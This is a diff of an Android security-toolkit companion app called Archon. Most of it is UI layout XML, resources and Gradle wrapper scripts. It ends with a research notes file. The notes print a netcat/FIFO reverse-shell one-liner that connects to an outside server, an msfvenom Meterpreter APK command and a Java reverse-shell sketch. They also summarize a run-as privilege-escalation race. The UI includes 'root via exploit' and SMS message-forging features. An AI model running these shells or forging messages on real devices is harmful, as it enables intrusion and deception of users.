android:orientation="horizontal">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_check_root"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CHECK ROOT"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_root_exploit"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ROOT VIA EXPLOIT"
android:textColor="@color/background"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/warning" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Output Log ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="12dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Output Log:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/setup_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:minLines="5" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,92 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="12dp"
android:background="?android:attr/selectableItemBackground">
<!-- Contact avatar (circle with initial) -->
<FrameLayout
android:layout_width="44dp"
android:layout_height="44dp"
android:layout_marginEnd="12dp">
<View
android:id="@+id/avatar_bg"
android:layout_width="44dp"
android:layout_height="44dp" />
<TextView
android:id="@+id/avatar_text"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:textColor="#FFFFFF"
android:textSize="18sp"
android:textStyle="bold"
android:fontFamily="monospace" />
</FrameLayout>
<!-- Name and snippet -->
<LinearLayout
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:orientation="vertical"
android:layout_marginEnd="12dp">
<TextView
android:id="@+id/contact_name"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/text_primary"
android:textSize="15sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:singleLine="true"
android:ellipsize="end"
android:layout_marginBottom="2dp" />
<TextView
android:id="@+id/message_snippet"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
android:singleLine="true"
android:ellipsize="end" />
</LinearLayout>
<!-- Date and unread badge -->
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:gravity="end|center_vertical">
<TextView
android:id="@+id/conversation_date"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:textSize="11sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/unread_badge"
android:layout_width="22dp"
android:layout_height="22dp"
android:gravity="center"
android:textColor="#FFFFFF"
android:textSize="10sp"
android:textStyle="bold"
android:background="@color/danger"
android:visibility="gone" />
</LinearLayout>
</LinearLayout>

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:paddingTop="2dp"
android:paddingBottom="2dp"
android:paddingStart="4dp"
android:paddingEnd="64dp">
<!-- Received message bubble — left-aligned, dark gray -->
<LinearLayout
android:id="@+id/bubble_container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:background="@color/surface"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="6dp"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent">
<!-- Message body -->
<TextView
android:id="@+id/bubble_body"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace"
android:layout_marginBottom="2dp" />
<!-- Bottom row: time + RCS indicator -->
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_gravity="end">
<!-- RCS/MMS indicator -->
<TextView
android:id="@+id/rcs_indicator"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/terminal_green"
android:textSize="9sp"
android:fontFamily="monospace"
android:textStyle="bold"
android:layout_marginEnd="6dp"
android:visibility="gone" />
<!-- Timestamp -->
<TextView
android:id="@+id/bubble_time"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_muted"
android:textSize="10sp"
android:fontFamily="monospace" />
</LinearLayout>
</LinearLayout>
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,78 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:paddingTop="2dp"
android:paddingBottom="2dp"
android:paddingStart="64dp"
android:paddingEnd="4dp">
<!-- Sent message bubble — right-aligned, accent color -->
<LinearLayout
android:id="@+id/bubble_container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:background="@color/terminal_green_dim"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="6dp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintTop_toTopOf="parent">
<!-- Message body -->
<TextView
android:id="@+id/bubble_body"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace"
android:layout_marginBottom="2dp" />
<!-- Bottom row: time + status + RCS indicator -->
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_gravity="end">
<!-- RCS/MMS indicator -->
<TextView
android:id="@+id/rcs_indicator"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/terminal_green"
android:textSize="9sp"
android:fontFamily="monospace"
android:textStyle="bold"
android:layout_marginEnd="6dp"
android:visibility="gone" />
<!-- Delivery status -->
<TextView
android:id="@+id/bubble_status"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_muted"
android:textSize="10sp"
android:fontFamily="monospace"
android:layout_marginEnd="6dp"
android:visibility="gone" />
<!-- Timestamp -->
<TextView
android:id="@+id/bubble_time"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_muted"
android:textSize="10sp"
android:fontFamily="monospace" />
</LinearLayout>
</LinearLayout>
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
<item
android:id="@+id/nav_dashboard"
android:icon="@android:drawable/ic_menu_compass"
android:title="@string/nav_dashboard" />
<item
android:id="@+id/nav_messaging"
android:icon="@android:drawable/ic_dialog_email"
android:title="@string/nav_messaging" />
<item
android:id="@+id/nav_modules"
android:icon="@android:drawable/ic_menu_manage"
android:title="@string/nav_modules" />
<item
android:id="@+id/nav_setup"
android:icon="@drawable/ic_setup"
android:title="@string/nav_setup" />
<item
android:id="@+id/nav_settings"
android:icon="@android:drawable/ic_menu_preferences"
android:title="@string/nav_settings" />
</menu>

View File

@@ -0,0 +1,38 @@
<?xml version="1.0" encoding="utf-8"?>
<navigation
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:id="@+id/nav_graph"
app:startDestination="@id/nav_dashboard">
<fragment
android:id="@+id/nav_dashboard"
android:name="com.darkhal.archon.ui.DashboardFragment"
android:label="@string/nav_dashboard" />
<fragment
android:id="@+id/nav_messaging"
android:name="com.darkhal.archon.ui.MessagingFragment"
android:label="@string/nav_messaging" />
<fragment
android:id="@+id/nav_links"
android:name="com.darkhal.archon.ui.LinksFragment"
android:label="@string/nav_links" />
<fragment
android:id="@+id/nav_modules"
android:name="com.darkhal.archon.ui.ModulesFragment"
android:label="@string/nav_modules" />
<fragment
android:id="@+id/nav_setup"
android:name="com.darkhal.archon.ui.SetupFragment"
android:label="@string/nav_setup" />
<fragment
android:id="@+id/nav_settings"
android:name="com.darkhal.archon.ui.SettingsFragment"
android:label="@string/nav_settings" />
</navigation>

View File

@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="terminal_green">#FF00FF41</color>
<color name="terminal_green_dim">#FF006B1A</color>
<color name="background">#FF0D0D0D</color>
<color name="surface">#FF1A1A1A</color>
<color name="surface_dark">#FF111111</color>
<color name="text_primary">#FFE0E0E0</color>
<color name="text_secondary">#FF888888</color>
<color name="text_muted">#FF555555</color>
<color name="primary">#FF00FF41</color>
<color name="status_online">#FF00FF41</color>
<color name="status_offline">#FF666666</color>
<color name="danger">#FFFF4444</color>
<color name="warning">#FFFFAA00</color>
<color name="black">#FF000000</color>
<color name="nav_item_color">#FF00FF41</color>
</resources>

View File

@@ -0,0 +1,90 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">Archon</string>
<!-- Navigation -->
<string name="nav_dashboard">Dashboard</string>
<string name="nav_links">Links</string>
<string name="nav_modules">Modules</string>
<string name="nav_setup">Setup</string>
<string name="nav_settings">Settings</string>
<!-- Discovery -->
<string name="server_discovery">Server Discovery</string>
<string name="discovery_idle">Tap SCAN to find AUTARCH</string>
<string name="discovery_methods">LAN / Wi-Fi Direct / Bluetooth</string>
<string name="scan_network">SCAN</string>
<!-- Dashboard -->
<string name="dashboard_title">ARCHON</string>
<string name="adb_control">ADB Control</string>
<string name="adb_status_unknown">ADB: checking...</string>
<string name="enable_adb_tcp">Enable ADB TCP/IP</string>
<string name="usbip_export">USB/IP Export</string>
<string name="usbip_status_unknown">USB/IP: checking...</string>
<string name="enable_usbip_export">Enable USB/IP Export</string>
<string name="adb_server">ADB Server</string>
<string name="kill_adb">KILL</string>
<string name="restart_adb">RESTART</string>
<string name="auto_restart_adb">Auto-restart ADB</string>
<string name="wireguard_status">WireGuard</string>
<string name="wg_checking">WG: checking...</string>
<string name="wg_server_ip_label">Server: --</string>
<string name="ready">&gt; ready_</string>
<!-- Links -->
<string name="links_title">AUTARCH</string>
<string name="server_url_placeholder">Server: --</string>
<string name="link_dashboard">Dashboard</string>
<string name="link_wireguard">WireGuard</string>
<string name="link_shield">Shield</string>
<string name="link_hardware">Hardware</string>
<string name="link_wireshark">Wireshark</string>
<string name="link_osint">OSINT</string>
<string name="link_defense">Defense</string>
<string name="link_offense">Offense</string>
<string name="link_settings">Settings</string>
<!-- Messaging -->
<string name="nav_messaging">Messages</string>
<string name="messaging_title">SMS/RCS</string>
<string name="messaging_become_default">DEFAULT</string>
<string name="messaging_restore_default">RESTORE</string>
<string name="messaging_tools">TOOLS</string>
<string name="messaging_search_hint">Search messages...</string>
<string name="messaging_input_hint">Type a message...</string>
<string name="messaging_send">SEND</string>
<string name="messaging_export">EXPORT</string>
<string name="messaging_new_message">New message</string>
<string name="messaging_empty">No conversations found.\nCheck SMS permissions or tap + to forge a message.</string>
<!-- Forge Dialog -->
<string name="forge_dialog_title">FORGE MESSAGE</string>
<string name="forge_phone_label">Phone Number</string>
<string name="forge_phone_hint">+15551234567</string>
<string name="forge_name_label">Contact Name (optional)</string>
<string name="forge_name_hint">John Doe</string>
<string name="forge_body_label">Message Body</string>
<string name="forge_body_hint">Enter message text...</string>
<string name="forge_direction_label">Direction</string>
<string name="forge_received">RECEIVED</string>
<string name="forge_sent">SENT</string>
<string name="forge_date_label">Date / Time</string>
<string name="forge_pick_date">Date</string>
<string name="forge_pick_time">Time</string>
<string name="forge_mark_read">Mark as read</string>
<!-- Settings -->
<string name="settings_title">SETTINGS</string>
<string name="server_connection">Server Connection</string>
<string name="hint_server_ip">AUTARCH Server IP</string>
<string name="hint_web_port">Web UI Port (default: 8181)</string>
<string name="adb_configuration">ADB Configuration</string>
<string name="hint_adb_port">ADB TCP Port</string>
<string name="hint_usbip_port">USB/IP Port</string>
<string name="bbs_configuration">BBS Configuration</string>
<string name="hint_bbs_address">Veilid BBS Address</string>
<string name="auto_detect">AUTO-DETECT SERVER</string>
<string name="test_connection">TEST</string>
<string name="save_settings">SAVE</string>
</resources>

View File

@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.Archon" parent="Theme.Material3.Dark.NoActionBar">
<item name="colorPrimary">@color/terminal_green</item>
<item name="colorPrimaryVariant">@color/terminal_green_dim</item>
<item name="colorOnPrimary">@color/background</item>
<item name="colorSecondary">@color/terminal_green_dim</item>
<item name="colorOnSecondary">@color/text_primary</item>
<item name="android:colorBackground">@color/background</item>
<item name="colorSurface">@color/surface</item>
<item name="colorOnSurface">@color/text_primary</item>
<item name="android:statusBarColor">@color/background</item>
<item name="android:navigationBarColor">@color/surface</item>
<item name="android:windowBackground">@color/background</item>
</style>
</resources>

View File

@@ -0,0 +1,3 @@
plugins {
id("com.android.application") version "9.0.1" apply false
}

View File

@@ -0,0 +1,4 @@
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
android.useAndroidX=true
kotlin.code.style=official
android.nonTransitiveRClass=true

Binary file not shown.

View File

@@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

248
autarch_companion/gradlew vendored Normal file
View File

@@ -0,0 +1,248 @@
#!/bin/sh
#
# Copyright © 2015 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"

93
autarch_companion/gradlew.bat vendored Normal file
View File

@@ -0,0 +1,93 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

View File

@@ -0,0 +1,293 @@
# Archon Research — Consolidated Findings
## darkHal Security Group — Project AUTARCH
**Last Updated:** 2026-02-20
---
## 1. On-Device LLM Engines
### SmolChat-Android (Recommended)
- **Source:** https://github.com/shubham0204/SmolChat-Android
- **License:** Apache 2.0
- **Stack:** Kotlin + llama.cpp JNI bindings
- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
- **Model format:** GGUF (huge ecosystem on HuggingFace)
- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
- **What it doesn't have:** No tool-calling — we add that via Koog (below)
- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
### mllm
- **Source:** https://github.com/UbiquitousLearning/mllm
- **License:** MIT
- **Stack:** C++20 custom engine
- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
- **Drawback:** Much harder to integrate, custom format limits model selection
- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
---
## 2. AI Agent Frameworks
### Koog AI (Recommended for Archon)
- **Source:** https://docs.koog.ai/
- **License:** Apache 2.0 (JetBrains)
- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
- **Key features:**
- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
- First-class tool-calling with class-based tools (works on Android)
- Agent memory, persistence, checkpoints, history compression
- Structured output via kotlinx.serialization
- GOAP planner (A* search for action planning — game AI technique)
- MCP integration (discover/use external tools)
- Multi-agent: agents-as-tools, agent-to-agent protocol
- **Version:** 0.6.2
- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
### SmolChat + Koog Combo
- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
- Koog provides the agent framework (tools, planning, memory, structured output)
- Together: fully autonomous, fully offline security AI agent on the phone
- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
### GitHub Copilot SDK
- **Source:** https://github.com/github/copilot-sdk
- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
- **Stack:** Python/TypeScript/Go/.NET SDKs
- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
---
## 3. ADB Exploitation & Automation
### PhoneSploit-Pro
- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
- **License:** GPL-3.0
- **What:** Python ADB automation framework (40+ exploits/actions)
- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
- **Status:** Reference material. We implement our own versions with better safety controls.
---
## 4. Android Reverse Shell Techniques
### Technique 1: Java ProcessBuilder + Socket (Our Approach)
```java
// Connect back to server, pipe shell I/O over socket
Socket socket = new Socket(serverIp, serverPort);
ProcessBuilder pb = new ProcessBuilder("sh");
Process process = pb.start();
// Forward process stdin/stdout over socket
```
- **Privilege:** Runs at whatever UID the process has
- **Our twist:** Run via `app_process` at UID 2000 (shell level)
- **Advantage:** No external tools needed, pure Java, clean control flow
### Technique 2: Netcat + FIFO
```bash
mkfifo /data/local/tmp/f
cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
```
- **Requires:** `nc` (netcat) available on device
- **Advantage:** Simple, works from any shell
- **Disadvantage:** No auth, no encryption, no special commands
### Technique 3: msfvenom Payloads
```bash
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
```
- **Generates:** Standalone APK with Meterpreter payload
- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
---
## 5. Android Privilege Escalation
### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
- **Disclosed by:** Meta security researchers
- **Severity:** Critical — full root access on unpatched devices
- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
- **Steps:**
1. Shell can write to `/data/local/tmp/`
2. Exploit the TOCTOU race in how `run-as` reads package info
3. `run-as` runs as UID 2000 but switches context to target UID
- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
### Shell-Level Capabilities (UID 2000)
Full command access without root:
- `pm` — install, uninstall, disable, grant/revoke permissions
- `am` — start activities, broadcast, force-stop processes
- `settings` — read/write system, secure, global settings
- `dumpsys` — dump any system service state
- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
- `content` — query/modify content providers (contacts, SMS, call log)
- `service call` — raw Binder IPC (clipboard, etc.)
- `input` — inject touch/key events (UI automation)
- `screencap`/`screenrecord` — capture display
- `svc` — control wifi, data, power, USB, NFC
- `dpm` — device policy manager (remove device admins)
- `logcat` — system logs
